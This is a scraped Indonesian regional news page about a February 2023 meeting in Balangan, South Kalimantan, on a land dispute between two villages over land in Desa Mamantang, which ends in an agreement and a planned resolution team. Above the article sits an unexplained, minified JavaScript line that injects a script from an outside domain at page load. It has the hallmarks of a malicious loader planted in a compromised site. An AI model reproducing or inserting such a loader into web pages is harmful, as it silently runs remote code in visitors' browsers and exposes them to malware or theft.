(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Badan Kesatuan Bangsa dan Politik (Kesbangpol) Balangan gelar Rakor Lanjutan Kewaspadaan Dini dan Penanganan Konflik Permasalahan Sengketa Tanah di Desa Mamantang, Kecamatan Halong, bertempat di Aula Kantor Kesbangpol Balangan, Paringin Selatan, Kamis (23/2/2023).
Rakor menghadirkan Dandim 1001 HSU-Balangan, Kepala Badan Kesbangpol, Kabag Ops Polres Balangan, Kesatuan Pengelolaan Hutan (KPH), Camat Halong, Kepala Desa Mamantang, Kepala Desa Padang Raya dan Kepala Desa Tabuan.
Kepala Badan Kesbangpol, Syaifuddin Tailah menyampaikan rakor lanjutan ini bertujuan untuk menyelesaikan permasalahan sengketa tanah di wilayah Desa Mamantang, Desa Padang Raya, Desa Tabuan Kecamatan Halong, agar mendapatkan solusi terbaik.
“Konflik antara warga Desa Tabuan dan Desa Padang Raya yang tanahnya berada di kawasan Desa Mamantang. Kedua belah pihak mengakui tanah tersebut milik nenek moyangnya. Maka dari itu kita adakan rapat ini agar dapat menyelesaikan permasalahan dan mendapatkan solusi terbaik,” terangnya.
Baca juga: Kabur Nyebur ke Sungai, Pelaku Penggelapan 2 Truk Akhirnya Dibekuk Macan Kalsel
Sementara itu, Kabag Ops Polres, Sony FL Gaol menyebut dalam rapat ini dapat mendengarkan permasalahan di Desa Mamantang yang disampaikan masing-masing pihak agar bisa menjadi bahan pembahasan.
“Pada hari ini kita mendengarkan apa apa yang menjadi permasalahan sengketa tanah yang terjadi di Desa Mamantang oleh masing-masing pihak,” sebut Sony.
Dia berharap masing-masing pihak bisa menahan diri agar tidak terjadi konflik yang lebih besar, dan dapat mengkomunikasikannya dengan pihak terkait yaitu Kesbangpol, Kepala Desa dan Polsek terdekat.
Selanjutnya, perwakilan KPH Balangan, Nazaruddin menghimbau kepada masyarakat yang berada kawasan Hutan Nasional agar mentaati aturan aturan yang ada, dan mengedepankan persaudaraan dan hukum positif.
Rakor Lanjutan Kewaspadaan Dini dan Penanganan Konflik, diakhiri dengan penandatanganan kesepakatan antara pihak yang bersangkutan untuk tidak melakukan aktifitas diwilayah tersebut, dan Pemkab Balangan akan membentuk tim untuk menyelesaikan permasalahan sengketa lahan di Desa Mamantang, Kecamatan Halong. (Kanalkalimantan.com/kk)
Reporter: kk
Editor: cell
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
This website uses cookies.